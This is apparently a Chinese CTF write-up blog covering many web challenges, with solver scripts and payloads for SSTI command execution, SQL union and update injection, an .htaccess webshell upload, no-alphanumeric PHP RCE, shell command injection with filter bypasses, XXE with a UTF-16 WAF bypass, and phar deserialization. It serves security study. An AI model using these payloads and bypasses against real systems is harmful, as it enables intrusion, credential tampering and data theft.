前言
第二回合,开始web第11页和第12页
[HUBUCTF 2022 新生赛]Calculate
python脚本
进入题目,是经典速算题:
回答以下数学问题20次;你有3秒钟的时间来解决每个问题;为了保护服务器,你不能在1秒内回答一个问题
编写脚本,注意每次提交都要更新cookie
思路比较完整的wp:https://www.nssctf.cn/note/set/443
要我自己搓脚本还是太困难了555,这里收集一点脚本以后改一改用算了(
常规脚本:
import time
import requests
import re
url = 'http://node5.anna.nssctf.cn:28311/'
s = requests.Session()
for x in range(0,20):
res = s.get(url=url)
my_text = re.findall(r">[\d|\-|+|*]<",res.text)
strings = ['0','1','2','3','4','5','6','7','8','9','+','-','*']
num = ''
for i in my_text:
for j in strings:
if j in i:
num += str(j)
result = eval(num)
data = {
'ans':result
}
time.sleep(1.5)
res1 = s.post(url=url,data=data)
if 'calculate error!' in res1.text:
print(res.text)
print(my_text)
print(str(num)+'='+str(result))
break
print(res1.text)
BeautifulSoup库写的爬虫脚本
from bs4 import BeautifulSoup
import requests
import time
url = 'http://node5.anna.nssctf.cn:28311/'
s = requests.Session()
for i in range(0,20):
res1 = s.get(url=url)
soup = BeautifulSoup(res1.text,'html.parser')
tags = soup.find_all('div') # 找算式所在的div标签
cal = ''
for tag in tags:
cal += tag.text
cal = cal[:-1] # 最后一个等号不参与计算
num = eval(cal)
data={
'ans':num
}
time.sleep(1)
res2 = s.post(url=url,data=data)
print(res2.text)
Xpath的脚本
import time
import requests
from lxml import etree
url = "http://node5.anna.nssctf.cn:28311/"
res1 = requests.session()
while True:
res = res1.get(url)
tree = etree.HTML(res.text)
concat = ''
divs = tree.xpath('/html/body/form/div/text()')
del divs[-1]
ans = concat.join(divs)
print(ans)
result = str(eval(ans))
time.sleep(1)
resp = res1.post(url=url, data={"ans": result})
print(result)
cnt = tree.xpath('/html/body/p[3]/text()')
count = concat.join(cnt)
print("cnt=====>", count)
if "NSS" in resp.text:
print(resp.text)
break
time.sleep(1)
[NCTF 2018]Flask PLUS
ssti
注入点还是在路由处,fuzz一下,发现ban了os,request,popen,class,mro,subclasses,__init__
,subprocess,join
关键字用拼接绕过,直接找<class 'os._wrap_close'>
类
{{""['__cla''ss__'].__bases__[0]['__subcla''sses__']()[137]}}
__init__
没了可以用__enter__
或者__exit__
代替,命令执行即可
{{''['__cla''ss__'].__bases__[0]['__subcla''sses__']()[137].__enter__.__globals__['pop''en']('ls /').read()}}
[GWCTF 2019]枯燥的抽奖
php伪随机数预测
进入题目,抓包发现check.php
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
这题的意思是生成了20位的随机字符串,先给了我们前10位随机字符串,要我们把整串字符串提交上去
用了mt_srand
生成伪随机数,很明显存在伪随机数预测漏洞
把核心逻辑copy出来然后写php脚本爆破种子,然后生成我们需要的字符串即可
<?php
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$len1 = 20;
for ($n = 0; $n <= 999999999; $n++) {
$str = '';
mt_srand($n);
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
if ($str_show == "OFsCrW9SFj") {
echo $str;
break;
}
}
[FSCTF 2023]源码!启动!
禁用了f12,ctrl+u即可查看页面源码找到flag
[NSSCTF 2022 Spring Recruit]babysql
sql联合注入
注入点在post请求的username参数上
尝试万能密码1’or 1=1,返回黑名单/if|and|\s|#|--/i
,这里的\s
是指过滤了空格,可以用/**/
代替
然后这里过滤了注释符,只能我们自己手动闭合语句了
联合注入查数据库
1'/**/union/**/select/**/database()'
得到数据库名test
查表
1'/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="test"'
得到表名flag,users
查列名
1'/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"'
得到列名flag
查字段
1'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/flag)/**/'
得到flag
[网鼎杯 2018]Fakebook
反序列化+sql注入+ssrf
进入题目,有一个login登录功能和一个join注册功能
dirsearch扫一下,发现存在robots.txt,flag在flag.php
访问得到hint:/user.php.bak备份文件泄露
访问/user.php.bak,得到user.php源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
稍微审计一下就可以发现这是一个存在ssrf的类,在join功能处被调用
正则匹配的是一个http://
或https://
开头的url
我们先随便注册一个账号,然后点击username跳转到view.php,发现多了个参数?no=1
测试发现存在数字型注入而且会回显
然后测试字段数
?no=1 order by 5
可知字段数为4
尝试联合注入
测试发现union select
用不了,猜测是整个被ban了,可以用union/**/select
代替
?no=0 union/**/select 1,2,3,4
发现显示位在第二位,即username回显的
查表
?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
得到users表
查列名
?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
得到no,username,passwd,data
查看data
?no=0 union/**/select 1,group_concat(data),3,4 from users
返回一个序列化字符串
注意后面的报错Trying to get property of non-object(正在尝试获取非对象的属性),意思就是要我们传入对象
而一开始我们就知道flag在flag.php,那么应该就是要我们利用反序列化中的ssrf来读取flag
所以这里直接用file协议读取flag.php
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
echo serialize(new UserInfo());
得到
O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
这里注意一下逻辑顺序,这里会先进行sql查询然后再进行反序列化,所以我们要把序列化字符串放在注入的字段里
payload:
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
回显的位置是在最底下的ssrf窗口,这里要ctrl+u来查看
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiTlNTQ1RGezMwMDRjZmFlLTRjNDYtNDkzMS05YTMxLWM0NDc4MmIzNzhjYX0iOw0KZXhpdCgwKTsNCg=='>
base64解码得到flag
[FSCTF 2023]webshell是啥捏
进入题目,看到源码
<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;
if (isset($_GET['👽'])) {
eval($😭($_GET['👽']));
};
?>
挺抽象(
但是对应一下就可以发现底下的$😭
部分拼接起来是passthru
那么直接命令执行即可
?👽=ls /
[羊城杯 2020]easyphp
.htaccess文件上传
源码
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
具体意思就是get传入文件名字和文件内容,文件内容的末尾会换行并追加一句Hello, world
然后文件内容过滤了on
,html
,type
,flag
,upload
,file
文件名必须只有小写字母或者.
而且每次运行开始都会删除当前目录中除了index.php以外所有的文件
尝试直接传马,但是并没有被解析为php
那么思路很明显,要传配置文件在index.php处上马
我们知道.user.ini的文件上传中有auto_prepend_file
这类可以进行文件包含的配置,但是这里我们每次执行后当前目录最多存在index.php和我们刚刚上传的文件,所以这里用不了.user.ini
不过.htaccess文件也可以用php_value
对php的配置进行修改来起到与.user.ini一样的效果
php_value auto_prepend_file <filename>
因为只会存在index.php和.htaccess,所以我们这里的配置就是设置为包含自己php_value auto_prepend_file .htaccess
然后在htaccess中,#
是注释符的作用,但是包含到php执行时,写在注释里的一句话木马也会被执行
最后由于末行会新增一句Hello, world,我们需要用\
来把\n
转义为\\
和n
所以我们的.htaccess文件如下:
php_value auto_prepend_file ".htaccess"
#<?php phpinfo();?>
#\
payload:
这里由于把file过滤了,我们用反斜杠fi\le
绕过即可
注:注意编码,配置文件传错了的话很容易返回500,建议重开
?filename=.htaccess&content=php_value+auto_prepend_fi%5C%0D%0Ale+.htaccess%0D%0A%23%3C%3Fphp%20system('ls /')%3B%3F%3E%0D%0A%23%5C
[NCTF 2018]小绿草之最强大脑
intval特性+python脚本编写
进入题目,要求我们输入一个位数大于21的正数加入式子进行计算出”正确结果”并提交,f12发现hint:源码泄露了解一下?
dirsearch扫描发现存在index.php.bak备份文件
访问并下载下来去掉.bak后缀得到源码
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>
审计一下,我们可以知道:
- input 的变量经过了 php 的
intval
处理 - 计算时间要在 1-2 秒之间
- 答对次数会累加
这里intval
是防止程序溢出的,我们输入的大于 21 位的数字经过PHP处理的值一定发生了变化
测试:
<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807
题目的操作系统是 64 位的,所以我们输入的这个值经过 php 防止溢出处理后的实际值为 9223372036854775807
那接下来就是对着网页元素写python脚本自动答题了(脚本 from 国光)
# author: www.sqlsec.com
import requests
import re
import time
s = requests.Session() # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://node4.anna.nssctf.cn:28540/"
number ="4200000000000000000000" #输入的数字
r = s.get(url)
math = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
num = num_pattern.findall(r.text) #正则提取公式
gg = "9223372036854775807"+'+'+math.join(num)[0:-1] #拼接真实的公式
print(gg)
ans = eval(gg) #利用eval直接来计算结果
print(ans)
data = "input={number}&ans={ans}%".format(number=number,ans=ans)
r =s.post(url,headers=headers,data=data)
time.sleep(1.5) #延时1.5秒
print(r.text)
运行之后连续算对5次就给flag
[羊城杯 2020]Blackcat
音频隐写
离谱,这题源码在音频里面
<?php
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
用到了hash_hmac
函数
使用 HMAC 方法生成带有密钥的哈希值
demo:
<?php
echo hash_hmac('ripemd160', 'The quick brown fox jumped over the lazy dog.', 'secret');
?>
输出b8e7ae12510bdfb1812e463a7f086122cf37e4f7
同理我们可以在本地自己生成一个hash_hmac后的结果再传进去
第一个hash_hmac的密钥是环境变量clandestine
的值,但是如果data传入的值为数组,那么就会返回NULL
所以White-cat-monitor参数传入数组即可
而Black-Cat-Sheriff的值在我们本地自己生成就行
One-ear里面传我们的命令
注:这个靶机不出网,所以不能直接弹shell,那么我们要用;
来隔开直接执行命令
本地生成$hh
<?php
$hh = hash_hmac('sha256', ';dir', null);
echo $hh;
注意,这题的命令执行语句是exec,只回显最后一行,ls是多行显示,所以只能显示一行的内容,可以使用dir
来列出目录
接下来是读取文件,可以用grep来匹配flag
;tac f*|grep \
结果实际上flag在flag.php的第一行,直接cat读取就行。。
[TQLCTF 2022]simple_bypass
模板注入+无字母数字rce
进入题目,注册登录,来到一个linux沙盒环境
先看看里面的几个功能,”图片”,”游戏”,”你的网站”都是打开一个网站
但是”好康的”里面只给了一张杰哥的图片
抓包发现路由get_pic.php?image=
存在任意文件读取
尝试读取index.php,f12把得到的图片流copy下来base64解码一下得到源码,我这里只保留php部分
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
- 用户名(user)长度不能超过6,且过滤了
[^\w\/\(\)\*<>]
,即空格,取反符,左右括号,左斜杠,星号,左右尖括号 - 网站地址(website)长度不能超过25,且过滤了
[^\w\/\*:\.\;\(\)\n<>]
,即空格,取反符,左右括号,左斜杠,星号,左右尖括号,换行,冒号,点,分号 - 描述(punctuation)不能超过1000字,但只是过滤了字母数字,被过滤的字符会替换为空
get_pic.php
<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>
存在文件读取,不过我们不知道flag的位置
sandbox/$hash_user.php
<?php
error_reporting(0);
$user = ((string)1);
$pass = ((string)zsfc4ca4238a0b923820dcc509a6f75849b);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
这个只是一些我们登录的信息,不过我们可以读一下其对应的模板文件template.html主要部分
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
</li>
</ul>
<ul class="item">
<li><span class="sitting_btn"></span>系统设置</li>
<li><span class="help_btn"></span>使用指南 <b></b></li>
<li><span class="about_btn"></span>关于我们</li>
<li><span class="logout_btn"></span>退出系统</li>
</ul>
</div>
</div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
<li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text">图片
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
<div class="text">游戏
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text"><b>好康的</b>
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
<div class="text"><b>你的网站</b>
<div class="right_cron"></div>
可以看到我们注册时输入的描述__PUNC__
,网站地址__WEBSITE__
的内容都会被添加到渲染后的网页sandbox/$hash_user.php中,所以我们可以考虑在这两个参数上进行恶意代码的注入,不过从绕waf的角度来看,__PUNC__
的绕过难度会比较低一些
同时需要注意到渲染模板中已经有关于__USER__
和__PASS__
的php代码且进行了闭合,所以这里需要在__USER__
使用/*
注释掉后面的php代码,然后在__PUNC__
前用*/);
进行闭合
那么我们的思路就是构造这样的payload传入
username:
p/*
passwd:
任意
website:
任意
punctuation:
*/); PAYLOAD /*
过滤了字母数字,很容易想到要无字母数字rce
PHP版本5.5.38,这里可以用异或或者自增来做
这里不知道为什么我自己的异或脚本打不了,用pysnow佬的吧
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=33; $i < 126; $i++) {
for ($j=33; $j <126; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
} else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
} else{
$hex_j=dechex($j);
}
$preg = '/[a-z,A-Z,0-9>\?\'\"]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))) {
echo "";
} else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
import urllib.parse
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
k = f.readlines()
for t in k:
if t == "":
break
if t[0] == i:
s1 += urllib.parse.unquote(t[2:5])
s2 += urllib.parse.unquote(t[6:9])
break
f.close()
output = "\'" + s1 + "\'^\'" + s2 + "\'\n"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)
payload:
username=1/*&passwd=1&website=1&punctuation=*/);$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;$_($___['!']);/*
注册后登录,直接命令执行,找到flag文件
[FSCTF 2023]细狗2.0
rce
这题就给了个命令执行的框让我们自己输,联想一下ping的命令注入
尝试直接用;
截断后执行我们自己的命令
成功回显,尝试读取moyu.php,测试了一下发现cat和空格被过滤了,那就用${IFS}
代替空格,cat可以用反斜杠ca\t
绕过或者其他读取命令
moyu.php
<?php
if (isset($_GET['hongzh0'])) {
$userInput = $_GET['hongzh0'];
echo "行不行啊细狗,你就输了个这? $userInput";
// 使用正则表达式检查用户输入是否包含分隔字符
if (strpos($userInput, ';') !== false || strpos($userInput, '|') !== false) {
// 使用正则表达式提取第一个分号后的内容
preg_match('/;(.*)/', $userInput, $matches);
if (!empty($matches[1])) {
// 使用正则表达式检查内容中是否包含 "flag"、"cat" 或空格
if (!preg_match('/(flag|cat|\s)/i', $matches[1])) {
// 执行用户输入的第一个分号后的内容
system($matches[1]);
} else {
echo "就这几个都绕不过去?";
}
} else {
echo "洗洗睡吧。";
}
}
}
?>
flag在根目录下,用通配符匹配即可
[HUBUCTF 2022 新生赛]ezsql
update注入
题目提供了登录和注册的功能,提示我们要登录admin,但是我们并不知道它的密码
我们先自己注册一个账户,登录后发现可以更新个人信息,可以猜测存在update语句
抓包发现对应的接口update.php
那我们在update.php进行post传参尝试注入,测试发现注入点在age,回显位在description
nickname=1&age=1, description=(select 1)#&description=
可以看到语句成功执行了
接下来查库
nickname=1&age=1, description=(select database())#&description=
得到数据库名demo2
查表
nickname=1&age=1, description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&description=
得到表名users
查列名,注意这里表名填users会导致更新错误,用16进制编码绕过
nickname=1&age=1, description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#&description=
得到列名id,username,password,nickname,age,description
查password字段
nickname=1&age=1, description=(select group_concat(password) from users)#&description=
翻了一下没查到admin的密码,那么我们就尝试修改所有用户的密码为123,记得先md5编码再16进制编码一下
nickname=1&age=1, password=0x3230326362393632616335393037356239363462303731353264323334623730#&description=
然后登录admin,密码123
成功登录,但是此时description的内容已经在前面查密码时被修改了,这时就得重开环境,回来直接改密码,然后再登录admin,就能在description处拿到flag了
[SCTF 2021]loginme
ip伪造+go的ssti
题目描述:
I don’t know the age of the admin, can you tell me?
By the way, admin’s Password maybe the thing you want
下载附件,进入题目,告诉我们”Only localhost can access”,结合源码,那就是要伪造ip:https://c1oudfl0w0.github.io/blog/2023/05/21/%E7%94%A8%E4%BA%8E%E4%BC%AA%E9%80%A0ip%E7%9A%84%E8%AF%B7%E6%B1%82%E5%A4%B4/
middleware.go
package middleware
import (
"github.com/gin-gonic/gin"
)
func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}
几个请求头都试过去,只有X-Real-IP
能用
然后进入页面
route.go
package route
import (
_ "embed"
"fmt"
"html/template"
"loginme/structs"
"loginme/templates"
"strconv"
"github.com/gin-gonic/gin"
)
func Index(c *gin.Context) {
c.HTML(200, "index.tmpl", gin.H{
"title": "Try Loginme",
})
}
func Login(c *gin.Context) {
idString, flag := c.GetQuery("id")
if !flag {
idString = "1"
}
id, err := strconv.Atoi(idString)
if err != nil {
id = 1
}
TargetUser := structs.Admin
for _, user := range structs.Users {
if user.Id == id {
TargetUser = user
}
}
age := TargetUser.Age
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
if err != nil {
c.AbortWithError(500, err)
}
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
if err != nil {
c.AbortWithError(500, err)
}
tmpl, err := template.New("admin_index").Parse(html)
if err != nil {
c.AbortWithError(500, err)
}
tmpl.Execute(c.Writer, TargetUser)
}
审计代码可以知道还有一个参数age
同时还存在一个渲染模板的代码
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
tmpl, err := template.New("admin_index").Parse(html)
其中的age是我们可控的,也就是说可以尝试进行ssti来泄露信息,结合题目描述,应该是要泄露出admin的password
structs.go
package structs
type UserInfo struct {
Id int
Username string
Age string
Password string
}
var Users = []UserInfo{
{
Id: 1,
Username: "Grandpa Lu",
Age: "22",
Password: "hack you!",
},
{
Id: 2,
Username: "Longlone",
Age: "??",
Password: "i don't know",
},
{
Id: 3,
Username: "Teacher Ma",
Age: "20",
Password: "guess",
},
}
var Admin = UserInfo{
Id: 0,
Username: "Admin",
Age: "",
Password: "flag{}",
}
所以构造payload泄露admin的password值即可:
?id=0&age={{.Password}}
[FSCTF 2023]Hello,you
rce
进入题目,是一个注册框,f12,发现页面php源码
<?php
$input = isset($_GET['input']) ? $_GET['input'] : '';
// 执行命令并返回结果
function executeCommand($command) {
$output = '';
exec($command, $output);
return $output;
}
// 注册用户
function registerUser($username) {
// .........
$command = "echo Hello, " . $username;
$result = executeCommand($command);
return $result;
}
// 处理注册请求
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$result = registerUser($username);
}
很明显存在命令执行,直接;
截断然后执行命令
然后尝试cat flag.php读取,但是发现被ban了
直接尝试绕过
;ca\t${IFS}f*
成功读取
顺便把waf也读了一下,是个前端js过滤,应该可以抓包绕过
$forbidden_keywords = ['flag', 'cat', 'tac'];
foreach ($forbidden_keywords as $keyword) {
if (stripos($username, $keyword) !== false) {
echo "<script>alert('非法操作');</script>";
return;
}
}
[FSCTF 2023]EZ_eval
eval命令注入
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}
一眼对eval进行命令注入
过滤了?,我们可以用短标签代替
过滤了空格,前面用%09代替,linux命令执行的部分用${IFS}
代替
过滤了文件读取的linux命令,也可以用反斜杠\
绕过,然后通配符读文件
payload:
?word=<script%09language="php">system('ls${IFS}/');
?word=<script%09language="php">system('ca\t${IFS}/f*');
[CSAWQual 2019]Unagi
文件上传xxe+utf编码绕过
进入题目,发现有一个文件上传的功能,而About提示我们flag在/flag
点击Upload,发现我们能通过上传文件来创建新的user
而且下面也给了我们例子
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>
是一个xml文档,那看起来这题是要进行xxe来读flag
我们对着例子来修改我们的xml文件,看到已经存在的User里还有一个Intro的标签,那我们就在这里回显我们读取的flag即可
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag"> ]>
<users>
<user>
<username>Aris</username>
<password>passwd3</password>
<name>Aris</name>
<email>alice@soft.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
直接上传,返回WAF blocked
看来有waf,我们这里可以用编码绕过
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
那么我们可以在linux环境下执行命令
iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml
然后上传即可获得flag
prize_p1
phar反序列化+php gc回收机制
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}
class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
审计代码,可以发现是反序列化,给了一个getflag
类,可以读取flag;一个A
类,里面可以读取文件和写入文件
过滤的关键词应该对应的是几种伪协议,getflag类也不能直接触发
不过phar并没有被过滤,既然有任意内容写入+任意文件读取+类,那就可以考虑phar反序列化
注意到最后有一个throw new Error
,而__destruct
的执行是在整个php脚本的最后,即类被销毁的时候,这里会因为前面的报错而无法执行,所以要利用到php的gc回收机制
那么综上所述,我们的思路就是先生成一个phar文件
这里实例化后要设置一个数组,一个为$a,一个为null,序列化的结果为a:2:{i:0;O:7:"getflag":0:{}i:1;N;}
,方便等会把$a的引用取消
<?php
class getflag {
}
$a=new getflag();
$a=array($a,null);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置stub
$phar->setMetadata($a); // 将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test");
$phar->stopBuffering(); // 签名自动运算
接着要修改序列化的字符串来绕过抛出异常,这里要用更改引用的方式来触发gc绕过,用010打开并修改
然后此时的phar包里面meta-data段都是明文,而且签名也需要再次更改
为了绕过过滤,我们需要对其进行gzip压缩并更改签名,这样子里面就都是乱码了
from hashlib import sha1
import gzip
with open('phar.phar', 'rb') as file:
f = file.read()
